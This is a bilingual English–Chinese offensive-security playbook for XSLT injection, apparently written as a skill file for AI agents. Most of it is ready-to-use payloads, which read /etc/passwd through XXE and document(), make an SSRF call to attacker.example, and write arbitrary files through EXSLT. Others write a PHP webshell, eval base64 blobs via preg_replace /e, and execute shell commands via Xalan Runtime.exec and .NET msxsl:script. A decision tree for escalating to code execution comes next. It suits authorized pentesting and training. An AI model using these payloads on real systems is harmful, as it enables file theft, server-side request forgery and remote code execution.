xslt-injection

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SKILL: XSLT Injection — Testing Playbook

SKILL: XSLT Injection — 测试手册

AI LOAD INSTRUCTION: XSLT injection occurs when attacker-influenced XSLT is compiled/executed server-side. Map the processor family first (Java/.NET/PHP/libxslt). Then chain document(), external entities, EXSLT, or embedded script/extension functions per platform. Authorized testing only; many payloads are destructive. 中文路由:若输入为通用 XML 解析且未必走 XSLT,交叉加载
xxe-xml-external-entity
;若关注
document(http:…)
出网,交叉加载
ssrf-server-side-request-forgery

AI加载说明:XSLT注入发生在受攻击者控制的XSLT在服务端被编译/执行时。首先确定处理器类型(Java/.NET/PHP/libxslt),然后根据平台组合使用document()外部实体EXSLT或嵌入的脚本/扩展函数。仅可用于授权测试,许多 payload 具有破坏性。中文路由:若输入为通用 XML 解析且未必走 XSLT,交叉加载
xxe-xml-external-entity
;若关注
document(http:…)
出网,交叉加载
ssrf-server-side-request-forgery

0. QUICK START

0. 快速开始

  1. Find sinks: parameters named
    xslt
    ,
    stylesheet
    ,
    transform
    ,
    template
    , SOAP stylesheets, report generators, XML→HTML converters.
  2. Probe reflection: inject unique namespace or
    xsl:value-of select="'marker'"
    — if output changes, execution likely.
  3. Fingerprint processor (§1).
  4. Escalate by family: document() / XXE (§2–3), EXSLT write (§4), PHP (§5), Java (§6), .NET (§7).
Quick probe (harmless marker):
xml
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="'XSLT_PROBE_OK'"/>
  </xsl:template>
</xsl:stylesheet>

  1. 寻找注入点:名为
    xslt
    stylesheet
    transform
    template
    的参数、SOAP样式表、报告生成器、XML→HTML转换器。
  2. 探测回显:注入唯一命名空间或
    xsl:value-of select="'marker'"
    —— 如果输出发生变化,则很可能存在代码执行。
  3. 指纹识别处理器(§1)。
  4. 按类型升级利用document() / XXE(§2–3)、EXSLT写入(§4)、PHP(§5)、Java(§6)、.NET(§7)。
快速探测payload(无害标记):
xml
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="'XSLT_PROBE_OK'"/>
  </xsl:template>
</xsl:stylesheet>

1. VENDOR DETECTION

1. 厂商识别

Use standard system-property reads inside expressions:
xml
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:text>vendor=</xsl:text><xsl:value-of select="system-property('xsl:vendor')"/>
    <xsl:text>&#10;version=</xsl:text><xsl:value-of select="system-property('xsl:version')"/>
    <xsl:text>&#10;vendor-url=</xsl:text><xsl:value-of select="system-property('xsl:vendor-url')"/>
  </xsl:template>
</xsl:stylesheet>
Typical fingerprints (examples, not exhaustive):
SignalPossible engine
Apache Software Foundation
/ Xalan markers
Xalan (Java)
Saxonica
/ Saxon URI hints
Saxon
libxslt
/ GNOME stack
libxslt (C, often via PHP, nginx modules, etc.)
Microsoft URLs / MSXML stringsMSXML / .NET XSLT stack
Use results to select §5–§7 paths.

在表达式中使用标准的system-property读取:
xml
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:text>vendor=</xsl:text><xsl:value-of select="system-property('xsl:vendor')"/>
    <xsl:text>&#10;version=</xsl:text><xsl:value-of select="system-property('xsl:version')"/>
    <xsl:text>&#10;vendor-url=</xsl:text><xsl:value-of select="system-property('xsl:vendor-url')"/>
  </xsl:template>
</xsl:stylesheet>
典型指纹(示例,非穷尽):
信号可能的引擎
Apache Software Foundation
/ Xalan标记
Xalan (Java)
Saxonica
/ Saxon URI提示
Saxon
libxslt
/ GNOME技术栈
libxslt(C语言实现,通常用于PHP、nginx模块等场景)
Microsoft URLs / MSXML字符串MSXML / .NET XSLT技术栈
使用检测结果选择§5–§7对应的利用路径。

2. EXTERNAL ENTITY (XXE VIA XSLT)

2. 外部实体(通过XSLT实现XXE)

XSLT 1.0 allows DTD-based entities in the stylesheet or source when the parser permits DTDs:
xml
<!DOCTYPE xsl:stylesheet [
  <!ENTITY ext_file SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:value-of select="'ENTITY_START'"/>
    <xsl:value-of select="&ext_file;"/>
    <xsl:value-of select="'ENTITY_END'"/>
  </xsl:template>
</xsl:stylesheet>
Note: Hardened parsers disable external DTDs — failure here does not disprove other XSLT vectors (see §3).

当解析器允许DTD时,XSLT 1.0支持在样式表或源文件中使用基于DTD的实体
xml
<!DOCTYPE xsl:stylesheet [
  <!ENTITY ext_file SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:value-of select="'ENTITY_START'"/>
    <xsl:value-of select="&ext_file;"/>
    <xsl:value-of select="'ENTITY_END'"/>
  </xsl:template>
</xsl:stylesheet>
注意:经过加固的解析器会禁用外部DTD——此处测试失败不代表不存在其他XSLT攻击向量(见§3)。

3. FILE READ VIA
document()

3. 通过
document()
读取文件

document()
loads another XML document into a node-set; local files often parse as XML (noisy) but errors and partial reads may still leak.
Unix example:
xml
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:copy-of select="document('/etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>
Windows example:
xml
<xsl:copy-of select="document('file:///c:/windows/win.ini')"/>
SSRF / out-of-band:
xml
<xsl:copy-of select="document('http://attacker.example/ssrf')"/>
Chain with error-based or timing observations if inline data does not return to the client.

document()
会将另一个XML文档加载为节点集;本地文件通常会被解析为XML(会产生报错),但报错信息和部分读取结果仍可能造成信息泄露。
Unix示例
xml
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:copy-of select="document('/etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>
Windows示例
xml
<xsl:copy-of select="document('file:///c:/windows/win.ini')"/>
SSRF / 带外探测
xml
<xsl:copy-of select="document('http://attacker.example/ssrf')"/>
如果内联数据未返回给客户端,可结合报错注入时间盲注的观测手段使用。

4. FILE WRITE VIA EXSLT (
exslt:document
)

4. 通过EXSLT写入文件(
exslt:document

When EXSLT common extension is enabled:
xml
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common"
  extension-element-prefixes="exploit">
  <xsl:template match="/">
    <exploit:document href="/tmp/evil.txt" method="text">
      <xsl:text>PROOF_CONTENT</xsl:text>
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>
Impact: arbitrary file write where path permissions allow — often RCE via webroot, cron paths, or inclusion points.

当启用EXSLT common扩展时:
xml
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common"
  extension-element-prefixes="exploit">
  <xsl:template match="/">
    <exploit:document href="/tmp/evil.txt" method="text">
      <xsl:text>PROOF_CONTENT</xsl:text>
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>
影响:在路径权限允许的情况下可实现任意文件写入——通常可通过写入web目录、cron路径或文件包含点实现RCE

5. RCE VIA PHP (
php:function
)

5. 通过PHP实现RCE(
php:function

Requires PHP XSLT with
registerPHPFunctions()
-style exposure (application misconfiguration). Namespace:
xml
<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:php="http://php.net/xsl">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:value-of select="php:function('readfile','index.php')"/>
  </xsl:template>
</xsl:stylesheet>
Directory listing:
xml
<xsl:value-of select="php:function('scandir','.')"/>
Dangerous patterns (historical abuses — verify only in lab):
  • php:function('assert', string($payload))
    — environment-dependent, often deprecated/removed; chained with
    include
    /
    require
    in old apps.
  • php:function('file_put_contents','/var/www/shell.php','<?php ...')
    webshell write when callable is whitelisted recklessly.
  • preg_replace
    with
    /e
    modifier (legacy PHP) — the replacement string is evaluated as PHP; metasploit-style chains often wrapped base64_decode of a blob to smuggle a meterpreter (or other) staged payload. Removed in PHP 7+; only relevant for ancient runtimes.
Legacy PHP equivalent (illustrates the
/e
+ base64 pattern — lab only):
php
preg_replace('/.*/e', 'eval(base64_decode("BASE64_PHP_HERE"));', '', 1);
Surface from XSLT only if
php:function
exposes
preg_replace
to user stylesheets (rare + critical misconfiguration).
Tester note: modern PHP hardening often blocks these; absence of RCE does not remove document() / XXE.

需要PHP XSLT开启了**
registerPHPFunctions()
**类的暴露(属于应用配置错误)。命名空间:
xml
<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:php="http://php.net/xsl">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:value-of select="php:function('readfile','index.php')"/>
  </xsl:template>
</xsl:stylesheet>
目录列取
xml
<xsl:value-of select="php:function('scandir','.')"/>
危险模式(历史攻击案例——仅可在测试环境验证):
  • php:function('assert', string($payload))
    —— 依赖环境,通常已被弃用/移除;在旧应用中可结合
    include
    /
    require
    使用。
  • php:function('file_put_contents','/var/www/shell.php','<?php ...')
    —— 当可调用函数被随意加入白名单时,可写入webshell
  • 带有**
    /e
    修饰符的
    preg_replace
    (旧版PHP)——替换字符串会被
    当作PHP代码执行**;Metasploit风格的利用链通常会对二进制数据封装一层base64_decode来传输meterpreter(或其他)阶段payload。PHP 7+已移除该特性,仅适用于老旧运行环境。
旧版PHP等效代码(演示
/e
+ base64模式——仅用于测试环境):
php
preg_replace('/.*/e', 'eval(base64_decode("BASE64_PHP_HERE"));', '', 1);
仅当
php:function
向用户样式表暴露了
preg_replace
时才能从XSLT触发该漏洞(罕见且属于严重配置错误)。
测试人员注意:现代PHP加固措施通常会阻止这些利用方式;无法实现RCE不代表不存在document() / XXE漏洞。

6. RCE VIA JAVA (SAXON / XALAN EXTENSIONS)

6. 通过Java实现RCE(SAXON / XALAN扩展)

Java engines may expose extension functions mapping to static methods. Examples appear in historical advisories; exact syntax depends on version and extension binding.
Illustrative pattern (conceptual — adjust to permitted extension namespace and API):
xml
<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
  <xsl:template match="/">
    <xsl:variable name="rtobject" select="rt:getRuntime()"/>
    <xsl:value-of select="rt:exec($rtobject,'/bin/sh -c id')"/>
  </xsl:template>
</xsl:stylesheet>
Saxon-style static Java integration (highly configuration-dependent):
text
Runtime:exec(Runtime:getRuntime(), 'cmd.exe /C ping 192.0.2.1')
Replace
192.0.2.1
with your lab listener / documentation IP (RFC 5737 TEST-NET).
Operational guidance: if extensions are disabled (common secure default), pivot to document(), SSRF, or deserialization elsewhere — not every XSLT endpoint runs with extensions on.

Java引擎可能会暴露映射到静态方法的扩展函数。示例来自历史安全公告;具体语法取决于版本和扩展绑定配置
示例模式(概念性——需根据允许的扩展命名空间和API调整):
xml
<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
  <xsl:template match="/">
    <xsl:variable name="rtobject" select="rt:getRuntime()"/>
    <xsl:value-of select="rt:exec($rtobject,'/bin/sh -c id')"/>
  </xsl:template>
</xsl:stylesheet>
Saxon风格的静态Java集成(高度依赖配置):
text
Runtime:exec(Runtime:getRuntime(), 'cmd.exe /C ping 192.0.2.1')
192.0.2.1
替换为你的测试环境监听器/文档IP(RFC 5737 TEST-NET预留地址)。
操作指南:如果扩展被禁用(常见的安全默认配置),可转向利用其他位置的document()、SSRF或反序列化漏洞——并非所有XSLT端点都开启了扩展支持。

7. RCE VIA .NET (
msxsl:script
)

7. 通过.NET实现RCE(
msxsl:script

When Microsoft XSLT script blocks are allowed:
xml
<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:msxsl="urn:schemas-microsoft-com:xslt"
    extension-element-prefixes="msxsl">
  <msxsl:script language="C#" implements-prefix="user">
    <![CDATA[
    public string xexec() {
      System.Diagnostics.Process.Start("cmd.exe", "/c whoami");
      return "ok";
    }
    ]]>
  </msxsl:script>
  <xsl:template match="/">
    <xsl:value-of select="user:xexec()"/>
  </xsl:template>
</xsl:stylesheet>
Default secure configs often disable scripts — treat this as when enabled behavior.

当Microsoft XSLT允许使用脚本块时:
xml
<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:msxsl="urn:schemas-microsoft-com:xslt"
    extension-element-prefixes="msxsl">
  <msxsl:script language="C#" implements-prefix="user">
    <![CDATA[
    public string xexec() {
      System.Diagnostics.Process.Start("cmd.exe", "/c whoami");
      return "ok";
    }
    ]]>
  </msxsl:script>
  <xsl:template match="/">
    <xsl:value-of select="user:xexec()"/>
  </xsl:template>
</xsl:stylesheet>
默认安全配置通常会禁用脚本——仅当该功能开启时存在此风险。

8. DECISION TREE

8. 决策树

text
                    User influences XSLT or XML transform?
                                    |
                                   NO --> stop (out of scope)
                                    |
                                   YES
                                    |
                    +---------------+---------------+
                    |                               |
             output reflects                       no reflection
             injected logic?                    try blind channels
                    |                               |
                    v                               v
            system-property()                 errors, OOB, timing
            fingerprint vendor                      |
                    |                               |
        +-----------+-----------+                   |
        |           |           |                   |
      libxslt     Java        .NET              document()
        |           |           |                   |
    document()   Saxon/Xalan  msxsl:script?      SSRF/file
    EXSLT write  extensions?      |                   |
        |           |           C# Process         EXSLT?
        v           v           v                   v
    file R/W     rt/exec      cmd.exe /c         map evidence

text
                    用户可控XSLT或XML转换?
                                    |
                                   否 --> 停止(不在测试范围内)
                                    |
                                    |
                    +---------------+---------------+
                    |                               |
             输出回显注入的逻辑?                无回显
                    |                               |
                    v                               v
            system-property()             尝试盲注通道
            识别厂商指纹                          |
                    |                               |
        +-----------+-----------+                   |
        |           |           |                   |
      libxslt     Java        .NET              document()
        |           |           |                   |
    document()   Saxon/Xalan  是否开启msxsl:script?   SSRF/文件读取
    EXSLT写入  是否开启扩展?      |                   |
        |           |           C# 进程执行         是否支持EXSLT?
        v           v           v                   v
    文件读写     运行时执行      cmd.exe /c命令执行  整理证据

Payloads All The Things (PAT) Note

Payloads All The Things (PAT) 说明

The PayloadsAllTheThings project documents many injection classes; for XSLT, maintainer notes indicate no dedicated maintained tool section comparable to SQLi/XSS toolchains — exploitation is processor- and configuration-specific, driven by proxy/manual payloads and custom scripts. Plan time for local lab reproduction with the same engine/version as the target when possible.

PayloadsAllTheThings项目记录了许多注入类型;对于XSLT,维护者说明目前没有与SQLi/XSS工具链可比的专门维护工具——利用方式高度依赖处理器和配置,需要通过代理/手动构造payload和自定义脚本实现。条件允许时请花时间在本地测试环境中复现与目标相同的引擎/版本。

Tooling (practical)

实用工具

CategoryExamples
Proxy / manualBurp Suite, OWASP ZAP — replay stylesheet payloads, observe responses and errors
XML/XSLT labMatch exact processor (PHP libxslt, Java Saxon version, .NET framework) in a VM
Out-of-bandCollaborator / private callback server for
document('http://…')
No single universal scanner replaces version-specific behavior validation.

分类示例
代理/手动测试Burp Suite、OWASP ZAP —— 重放样式表payload,观测响应和报错
XML/XSLT测试环境在虚拟机中部署与目标完全一致的处理器(PHP libxslt、Java Saxon版本、.NET framework)
带外探测Collaborator / 私有回调服务器,用于接收
document('http://…')
的请求
没有通用的扫描工具可以替代版本特定的行为验证。

Related

相关内容

  • xxe-xml-external-entity — DTD/entity hardening, generic XML parsers (
    ../xxe-xml-external-entity/SKILL.md
    ).
  • ssrf-server-side-request-forgery — when
    document(http:…)
    or entity URLs cause server fetches (
    ../ssrf-server-side-request-forgery/SKILL.md
    ).
  • xxe-xml-external-entity —— DTD/实体加固、通用XML解析器(
    ../xxe-xml-external-entity/SKILL.md
    )。
  • ssrf-server-side-request-forgery —— 当
    document(http:…)
    或实体URL触发服务端请求时参考(
    ../ssrf-server-side-request-forgery/SKILL.md
    )。